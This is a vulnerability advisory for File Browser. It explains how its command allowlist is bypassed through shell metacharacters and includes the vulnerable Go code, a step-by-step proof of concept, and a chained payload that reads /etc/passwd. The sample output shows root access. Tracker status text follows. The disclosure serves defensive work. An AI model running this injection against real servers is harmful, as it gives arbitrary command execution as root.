Vulnerability
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
> [!NOTE] > **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed. > > For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199. ## Summary When a shell interpreter is configured (e.g. `/bin/sh -c`), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell — semicolons, pipes, backticks, and `$()` all work to chain arbitrary commands after a permitted one. This is a distinct issue from CVE-2025-52995 (regex partial matching, fixed in 2.33.10) and CVE-2025-52903 (GTFOBins-style subcommands). The `slices.Contains` fix does not prevent this bypass. ## Affected Location - `runner/parser.go`, function `ParseCommand` (lines 10-25) - `http/commands.go`, function `commandsHandler` (lines 72-86) ## Root Cause `ParseCommand` extracts the first token via `SplitCommandAndArgs` for the allowlist check, then passes the entire raw input to the shell: ```go func ParseCommand(s *settings.Settings, raw string) (command []string, name string, err error) { name, args, err := SplitCommandAndArgs(raw) if len(s.Shell) == 0 || s.Shell[0] == "" { command = append(command, name) command = append(command, args...) } else { command = append(command, s.Shell...) command = append(command, raw) // full user input, metacharacters included } return command, name, nil } ``` In `commandsHandler`: ```go if !slices.Contains(d.user.Commands, name) { // name = "ls", passes // reject } cmd := exec.Command(command[0], command[1:]...) // actually executes: /bin/sh -c "ls; id; cat /etc/shadow" ``` `name` is `ls` — allowed. But `/bin/sh -c` interprets the rest. ## PoC Prerequisites: - Command execution enabled (`--disable-exec=false`) - Shell configured to `/bin/sh -c` - User has Execute permission with an allowlist, e.g. `git,ls,cat` Steps: 1. Log in, grab a JWT: ``` POST /api/login {"username":"admin","password":"..."} ``` 2. Open a WebSocket to `/api/command/` with header `X-Auth: <jwt>`. 3. Send: ``` ls; id; whoami; cat /etc/passwd ``` 4. All four commands execute and output is returned. Sending just `whoami` alone returns "Command not allowed." — the allowlist is active but bypassable. Output: ``` bin etc home ... ===BYPASS=== uid=0(root) gid=0(root) groups=0(root),10(wheel) root root:x:0:0:root:/root:/bin/sh ``` Tested against commit `d236f1c` (frontend v3.0.0) on the official Docker image `filebrowser/filebrowser:latest`. ## Impact Any user with Execute permission and at least one allowed command can run arbitrary OS commands at the privilege level of the server process. In the default container this is root.
No CVSS base score from NVD or GHSA yet. NVD typically scores within 24–72 hours of publication; GHSA usually within a day for OSS-flagged CVEs. Last record update .
For interim severity, fall back on KEV / EXPLOIT signals and the EPSS percentile (lower panel). Re-check this CVE after one cron tick — the score lands automatically when the source publishes.
Low exploitation likelihood — defer if no other signals fire.
No VEX statements published for CVE-2026-54090. Vendors publish VEX (Vulnerability Exploitability eXchange) to assert per-product whether a CVE is actually exploitable in their distribution.
No exploitation, limited impact or prevalence